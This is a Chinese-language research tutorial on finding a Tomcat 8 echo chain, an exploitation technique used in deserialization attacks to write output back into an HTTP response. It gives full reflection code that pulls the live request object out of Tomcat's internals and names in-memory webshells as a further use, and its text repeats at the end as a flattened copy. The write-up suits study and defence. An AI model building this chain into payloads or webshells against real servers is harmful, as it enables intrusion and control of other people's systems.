挖掘Tomcat8回显链过程
字数 1249 2025-08-24 07:48:33

Tomcat8回显链挖掘与分析教学文档

一、工具与环境准备

1.1 所需工具

  • IDEA:用于Java应用开发和调试
  • 内存对象搜索工具:用于在Java应用运行时搜索内存中的特定对象

1.2 环境搭建

  1. 创建一个Tomcat的Web环境
  2. 将相关工具直接放到Tomcat的lib目录下加载

二、回显链挖掘过程

2.1 设置断点与搜索代码

  1. 在doGet方法的第一行设置断点
  2. 在断点处插入以下搜索代码:
// 设置搜索类型包含Request关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("Request").build());

// 定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());

// 新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);

// 设置黑名单
searcher.setBlacklists(blacklists);

// 打开调试模式,会生成log日志
searcher.setIs_debug(true);

// 挖掘深度为20
searcher.setMax_search_depth(20);

// 设置报告保存位置
searcher.setReport_save_path("D:\\");

searcher.searchObject();

2.2 分析搜索结果

执行完毕后会在指定路径生成报告文件,报告展示了如何通过Thread依次获取requests对象。

三、代码分析与实现

3.1 获取Request对象链

以下是完整的回显链实现代码:

ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field ths = null;
try {
    ths = threadGroup.getClass().getDeclaredField("threads");
    ths.setAccessible(true);
    Thread[] thread1 = (Thread[]) ths.get(threadGroup);
    
    for (int i = 0; i < thread1.length; i++) {
        Thread threadtemp = thread1[i];
        if (threadtemp.getName().contains("Acceptor")) {
            Field target = threadtemp.getClass().getDeclaredField("target");
            target.setAccessible(true);
            
            Field field1 = target.get(threadtemp).getClass().getDeclaredField("this$0");
            field1.setAccessible(true);
            Object e = field1.get(target.get(threadtemp));
            
            Field field = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
            field.setAccessible(true);
            Object handle = field.get(e);
            
            Field global = handle.getClass().getDeclaredField("global");
            global.setAccessible(true);
            RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(handle);
            
            Field process = requestGroupInfo.getClass().getDeclaredField("processors");
            process.setAccessible(true);
            List<RequestInfo> requestInfos = (List<RequestInfo>) process.get(requestGroupInfo);
            
            Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            req.setAccessible(true);
            
            for (RequestInfo requestInfo : requestInfos) {
                Request request1 = (Request) req.get(requestInfo);
                if (req.get(requestInfo) != null) {
                    org.apache.catalina.connector.Request request2 = 
                        (org.apache.catalina.connector.Request) ((Request) (req.get(requestInfo))).getNote(1);
                    request2.getResponse().getWriter().write("YYDS");
                }
            }
        }
    }
} catch (NoSuchFieldException | IOException | ClassNotFoundException | IllegalAccessException e) {
    e.printStackTrace();
}

3.2 关键步骤解析

  1. 获取线程组和线程列表

    • 通过Thread.currentThread().getThreadGroup()获取当前线程组
    • 反射获取线程组的threads字段,得到所有线程数组
  2. 查找Acceptor线程

    • 遍历线程数组,查找名称包含"Acceptor"的线程
    • 这些线程负责处理Tomcat的连接请求
  3. 获取Endpoint和Handler

    • 通过反射获取线程的target对象
    • 获取target对象的this$0字段,这是对Endpoint的引用
    • 获取Endpoint的handler字段
  4. 获取Request信息

    • 从handler中获取global字段,得到RequestGroupInfo
    • RequestGroupInfo中获取processors列表,包含RequestInfo对象
  5. 获取可回显的Request

    • RequestInfo中获取req字段
    • 注意:存在两个Request对象,一个可回显,一个不可回显
    • 通过getNote(1)获取可回显的Request对象

3.3 重要注意事项

  1. RequestInfo数量问题

    • 环境中可能存在多个RequestInfo对象
    • 第一个RequestInfo的Request可能为null,需要进行非空判断
  2. Request对象类型

    • org.apache.coyote.Response没有getWriter()方法
    • 需要通过getNote(1)获取org.apache.catalina.connector.Request对象才能回显
  3. 反射技巧

    • 需要熟练掌握Java反射API
    • 注意处理各种异常情况

四、总结

  1. 该技术通过线程组→Acceptor线程→Endpoint→Handler→RequestGroupInfo→RequestInfo的链式反射调用,最终获取到可回显的Request对象。

  2. 关键在于理解Tomcat内部的对象结构和关系,以及如何通过反射访问这些对象。

  3. 实际应用中需要注意环境差异(如RequestInfo数量)和对象类型的转换。

  4. 掌握这种技术不仅可以用于回显构造,还可用于Java内存Webshell等高级利用场景。

Tomcat8回显链挖掘与分析教学文档 一、工具与环境准备 1.1 所需工具 IDEA :用于Java应用开发和调试 内存对象搜索工具 :用于在Java应用运行时搜索内存中的特定对象 1.2 环境搭建 创建一个Tomcat的Web环境 将相关工具直接放到Tomcat的lib目录下加载 二、回显链挖掘过程 2.1 设置断点与搜索代码 在doGet方法的第一行设置断点 在断点处插入以下搜索代码: 2.2 分析搜索结果 执行完毕后会在指定路径生成报告文件,报告展示了如何通过Thread依次获取requests对象。 三、代码分析与实现 3.1 获取Request对象链 以下是完整的回显链实现代码: 3.2 关键步骤解析 获取线程组和线程列表 : 通过 Thread.currentThread().getThreadGroup() 获取当前线程组 反射获取线程组的 threads 字段,得到所有线程数组 查找Acceptor线程 : 遍历线程数组,查找名称包含"Acceptor"的线程 这些线程负责处理Tomcat的连接请求 获取Endpoint和Handler : 通过反射获取线程的 target 对象 获取 target 对象的 this$0 字段,这是对Endpoint的引用 获取Endpoint的 handler 字段 获取Request信息 : 从handler中获取 global 字段,得到 RequestGroupInfo 从 RequestGroupInfo 中获取 processors 列表,包含 RequestInfo 对象 获取可回显的Request : 从 RequestInfo 中获取 req 字段 注意:存在两个Request对象,一个可回显,一个不可回显 通过 getNote(1) 获取可回显的Request对象 3.3 重要注意事项 RequestInfo数量问题 : 环境中可能存在多个RequestInfo对象 第一个RequestInfo的Request可能为null,需要进行非空判断 Request对象类型 : org.apache.coyote.Response 没有 getWriter() 方法 需要通过 getNote(1) 获取 org.apache.catalina.connector.Request 对象才能回显 反射技巧 : 需要熟练掌握Java反射API 注意处理各种异常情况 四、总结 该技术通过线程组→Acceptor线程→Endpoint→Handler→RequestGroupInfo→RequestInfo的链式反射调用,最终获取到可回显的Request对象。 关键在于理解Tomcat内部的对象结构和关系,以及如何通过反射访问这些对象。 实际应用中需要注意环境差异(如RequestInfo数量)和对象类型的转换。 掌握这种技术不仅可以用于回显构造,还可用于Java内存Webshell等高级利用场景。